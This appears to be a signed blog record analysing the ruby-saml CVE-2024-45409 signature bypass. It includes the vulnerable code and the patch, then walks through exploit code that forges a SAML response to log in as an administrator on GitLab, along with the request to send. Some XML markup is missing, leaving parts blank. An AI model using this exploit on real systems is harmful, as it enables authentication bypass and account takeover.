-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The XPath queries were rooted at the document, not at their context node\n\nThe vulnerable function lives in `lib/xml_security.rb` as `validate_signature`. In ruby-saml 1.16.0 and every release back to late 2011, the digest-checking block looked like this:\n\n```ruby\ncanon_string = noko_signed_info_element.canonicalize(canon_algorithm)\nnoko_sig_element.remove\n\n# check digests\nref = REXML::XPath.first(sig_element, \"//ds:Reference\", {\"ds\"=>DSIG})\n\nhashed_element = document.at_xpath(\"//*[@ID=$id]\", nil, { 'id' => extract_signed_element_id })\n\ncanon_algorithm = canon_algorithm REXML::XPath.first(\n ref,\n '//ds:CanonicalizationMethod',\n { \"ds\" => DSIG }\n)\n\ncanon_algorithm = process_transforms(ref, canon_algorithm)\ncanon_hashed_element = hashed_element.canonicalize(canon_algorithm, inclusive_namespaces)\n\ndigest_algorithm = algorithm(REXML::XPath.first(\n ref,\n \"//ds:DigestMethod\",\n { \"ds\" => DSIG }\n))\nhash = digest_algorithm.digest(canon_hashed_element)\n\nencoded_digest_value = REXML::XPath.first(\n ref,\n \"//ds:DigestValue\",\n { \"ds\" => DSIG }\n)\ndigest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))\n\nunless digests_match?(hash, digest_value)\n return append_error(\"Digest mismatch\", soft)\nend\n```\n\nFour lookups pass `ref` or `sig_element` as the first argument and a `//`-prefixed XPath as the second. `REXML::XPath.first(ref, \"//ds:DigestValue\", ...)` reads as a scoped search beneath the Reference element. It is not. In XPath, `//` abbreviates `/descendant-or-self::node()/`, which is always rooted at the document. The context node is ignored. To search under a context node, the query needs a leading period: `.//ds:DigestValue`. Four characters, one per query, and the semantics flip from \"first DigestValue anywhere in this document\" to \"first DigestValue under this Reference.\"\n\nEach of the four queries returned the first matching element in document order across the entire document. If the document had exactly one CanonicalizationMethod, one DigestMethod, one DigestValue, and one Transforms, the bug was invisible: document-order-first happened to also be under-this-Reference. The moment a second DigestValue appeared anywhere higher in the tree, the validator read the wrong one.\n\nThe patch in commit `4865d03`, dated September 10, 2024:\n\n```diff\n- ref = REXML::XPath.first(sig_element, \"//ds:Reference\", {\"ds\"=>DSIG})\n+ signed_info_element = REXML::XPath.first(\n+ sig_element,\n+ \"./ds:SignedInfo\",\n+ { \"ds\" => DSIG }\n+ )\n+ ref = REXML::XPath.first(signed_info_element, \"./ds:Reference\", {\"ds\"=>DSIG})\n\n- canon_algorithm = canon_algorithm REXML::XPath.first(\n- ref,\n- '//ds:CanonicalizationMethod',\n+ canon_algorithm = canon_algorithm REXML::XPath.first(\n+ signed_info_element,\n+ './ds:CanonicalizationMethod',\n\n- digest_algorithm = algorithm(REXML::XPath.first(\n- ref,\n- \"//ds:DigestMethod\",\n+ digest_algorithm = algorithm(REXML::XPath.first(\n+ ref,\n+ \"./ds:DigestMethod\",\n\n- encoded_digest_value = REXML::XPath.first(\n- ref,\n- \"//ds:DigestValue\",\n+ encoded_digest_value = REXML::XPath.first(\n+ ref,\n+ \"./ds:DigestValue\",\n```\n\nAnd in `process_transforms`, the fifth query:\n\n```diff\n transforms = REXML::XPath.match(\n ref,\n- \"//ds:Transforms/ds:Transform\",\n+ \"./ds:Transforms/ds:Transform\",\n { \"ds\" => DSIG }\n )\n```\n\nFive queries. Five leading periods. The commit also hardens the Nokogiri ID lookup to reject documents with duplicate IDs, which closes a neighboring XML Signature Wrapping variant that depends on node duplication rather than on XPath semantics.\n\n## The nuclei template exploits the DigestValue query specifically\n\nThe projectdiscovery template at `code/cves/2024/CVE-2024-45409.yaml` builds the payload from an IdP-signed SAML response passed in via environment variable. The first move:\n\n```python\nroot = etree.fromstring(xml_content, parser)\n\nresponse_signature = root.find('./ds:Signature', namespaces)\nif response_signature is not None:\n root.remove(response_signature)\n```\n\nStrip any response-level ``. Ruby-SAML accepts responses where only the Assertion is signed, so removing the outer signature leaves a valid-looking document shape. The Assertion's inner Signature, which is what actually matters, stays intact.\n\n```python\nnameid = root.find('.//saml:NameID', namespaces)\nif nameid is not None:\n nameid.text = username\n\nattribute_values = root.findall('.//saml:AttributeValue', namespaces)\nfor attr_value in attribute_values:\n attr_value.text = username\n```\n\nRewrite the NameID and every AttributeValue to the attacker's target identity. Default target in the template is `admin@example.com`. The Assertion's SignedInfo, SignatureValue, and KeyInfo are untouched, so the cryptographic signature object still verifies against the IdP's public key.\n\n```python\nassertion_copy = etree.fromstring(etree.tostring(assertion))\nsignature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)\nif signature_in_assertion is not None:\n signature_in_assertion.getparent().remove(signature_in_assertion)\ncanonicalized_assertion = etree.tostring(\n assertion_copy, method='c14n', exclusive=True, with_comments=False\n)\ndigest = hashlib.sha256(canonicalized_assertion).digest()\ndigest_value = base64.b64encode(digest).decode()\n```\n\nCompute exactly the digest Ruby-SAML is about to compute over the modified Assertion: strip the embedded Signature (the `enveloped-signature` transform), canonicalize exclusive c14n without comments, SHA-256, base64. Call this `D_attacker`.\n\n```python\nissuer = root.find('.//saml:Issuer', namespaces)\nparent = issuer.getparent()\nindex = parent.index(issuer)\nextensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')\ndigest_element = etree.SubElement(\n extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'\n)\ndigest_element.text = digest_value\nparent.insert(index + 1, extensions)\n```\n\nInsert a new `` element into the Response, right after the top-level ``. Inside it, one `` carrying `D_attacker`. Document order matters: Extensions sits above the Assertion, and the Signature lives inside the Assertion. `D_attacker` now appears in document order before the real DigestValue in SignedInfo.\n\nThe submitted document:\n\n```xml\n\n https://idp.victim.com\n \n D_attacker\n \n \n https://idp.victim.com\n \n \n \n \n \n \n \n \n \n \n D_original\n \n \n ...\n ...\n \n \n admin@example.com\n \n \n \n admin@example.com\n \n \n \n\n```\n\nTwo DigestValues. `D_original`, the one the IdP signed over, sits inside SignedInfo. `D_attacker`, the one the attacker inserted, sits at the top of the Response.\n\nRuby-SAML's flow on this document:\n\n1. Locate the Signature element. Found inside the Assertion.\n2. Canonicalize SignedInfo, verify `SignatureValue` against the IdP's public key. SignedInfo was not modified, so the RSA verification succeeds. This is the cryptography working correctly.\n3. For the one Reference in SignedInfo: fetch the element with `ID=\"_assertion-id\"`, canonicalize it with the enveloped-signature transform stripping its embedded Signature, compute SHA-256. The result is `D_attacker` because the attacker computed their digest over exactly the same modified Assertion.\n4. Compare the computed hash against the DigestValue. `REXML::XPath.first(ref, \"//ds:DigestValue\", {\"ds\"=>DSIG})` returns the first DigestValue in document order across the whole document. That is `D_attacker`. Equal to the computed hash. Digest match.\n5. Signature validation returns true. Authentication proceeds as `admin@example.com`.\n\nThe request that drives all of this against a GitLab instance with SAML SSO configured:\n\n```\nPOST /users/auth/saml/callback HTTP/1.1\nHost: gitlab.victim.com\nContent-Type: application/x-www-form-urlencoded\n\nRelayState=undefined&SAMLResponse=\n```\n\nGitLab responds `302` to `/`, and the `_gitlab_session` cookie the attacker now holds belongs to whatever user `admin@example.com` resolves to. If the email maps to an existing account, the attacker is that account. If JIT provisioning is on and no such account exists, GitLab creates one, and the attacker is it.\n\n## The typo shipped on December 8, 2011\n\n`git blame` on the three `//ds:...` strings inside the digest block points at one commit. `acc92b90bde86113a850f039b7cda5d5fed4d4b0`, authored by Ryan Stenhouse of FreeAgent on December 8, 2011. The commit message:\n\n```\nBe compatiable with PingFederate\n * Use XPATH rather than elements to find the signature\n * Deal with where ampersands aren't escaped correctly\n```\n\nThe commit migrates the verifier from `self.elements[\"//ds:X509Certificate\"]` style access to `REXML::XPath.first(self, \"//ds:X509Certificate\")` style. Three of the `//ds:...` XPath strings that the 2024 advisory eventually named are introduced in the same diff. Every one of them passes a context node as the first argument, the shape the author almost certainly thought would scope the search. REXML's API lets that call complete without error. The XPath grammar does not honor the intent.\n\nFrom `acc92b9` on December 8, 2011 to `4865d03` on September 10, 2024 is twelve years, nine months, two days. The compatibility commit for PingFederate shipped the whole Ruby-SAML signature verifier into that window. Every Ruby-SAML-backed SSO consumer, every GitLab instance using SAML, every Rails application using `omniauth-saml`, ran with the typo for the entire period. The GitLab advisory phrases the bug as \"does not properly verify the signature.\" The PoC proves the signature was verified. The wrong digest was compared.\n\n## Ruby-SAML's signature verifier is a design-debt driver\n\nCVE-2024-45409 is not the first authentication bypass produced by Ruby-SAML's signature verifier. CVE-2016-5697 and CVE-2017-11428 were earlier XML Signature Wrapping variants, with the 2017 instance exploiting an XML comment truncation gap between the canonicalizer and the downstream SAML parser. CVE-2025-25291 and CVE-2025-25292, patched in ruby-saml 1.18.0 on March 12, 2025, addressed a parser differential between REXML and Nokogiri that enabled a distinct signature wrapping attack. The 1.18.0 fix landed six months after the 1.17.0 fix for CVE-2024-45409.\n\nThe signature verifier has now produced authentication bypasses through four distinct mechanisms: duplicate-element wrapping, XML comment truncation, XPath root-anchoring, and parser differential. Each fix closed a specific instance. The architecture that made each instance exploitable is the same: a verifier built on REXML, retrofitted with Nokogiri lookups for some paths, with XPath queries scattered through a single method that canonicalizes, hashes, compares, and accepts. This is the shape the [Design Debt Driver pattern](https://nefariousplan.com/patterns/design-debt-driver) names, a component whose bug-class keeps recurring, with the patches addressing symptoms while the design holds the primitive. The [Tomcat EncryptInterceptor analysis](https://nefariousplan.com/posts/tomcat-encryptinterceptor-fails-open) is the sibling case in the current catalog: one method producing consecutive CVEs because the style that generated both remained unchanged after each fix.\n\nThe next Ruby-SAML signature bypass is already in the code. A new XPath ambiguity, a new canonicalizer-versus-consumer disagreement, a new intersection between the two XML parsers the library uses, waiting for the researcher who notices. The CVE-2025 fixes changed the parser selection logic. They did not reduce the number of XML parsers involved in signature validation. The substrate is untouched.\n\nPoC: [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates/blob/main/code/cves/2024/CVE-2024-45409.yaml)","closing_line":"Four characters. Twelve years. Six months between the fix and the next signature-wrapping bypass in the same verifier.","hook_md":"Ruby-SAML verified the SignatureValue. The cryptographic operation over SignedInfo was correct, the certificate chained to the IdP, the XMLDSig was real. The problem was not there.\n\nFor each `` inside SignedInfo, Ruby-SAML had to decide whether the element the reference pointed to still matched the DigestValue the signature covered. To do that, it ran `REXML::XPath.first(ref, \"//ds:DigestValue\", { \"ds\" => DSIG })`. The leading `//` anchors the query at the document root, not at `ref`. The attacker placed a `` inside a `` block higher up in the document than the Signature itself, computed over the Assertion they wanted accepted. Document order placed it first. Ruby-SAML read that one.","post_id":35,"slug":"ruby-saml-signature-verified-wrong-digest","title":"CVE-2024-45409: The SignatureValue Verified. The DigestValue Compared Was Not in the Signature.","type":"initial","unreadable_sentence":"The document contained two DigestValues: the one the signature covered, and the one the library read."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafDo8wAKCRDeZjl4jgkQ JrSAAQDuS0IZVn3AoqDRuZ24xcNW/FZnyrqrW/v4+xJo16unFAD/W7Wf0Ldkg/ax ytbUQxzMw7Dl6hTDPT4rzFdNJ3wjfwE= =4Q+p -----END PGP SIGNATURE-----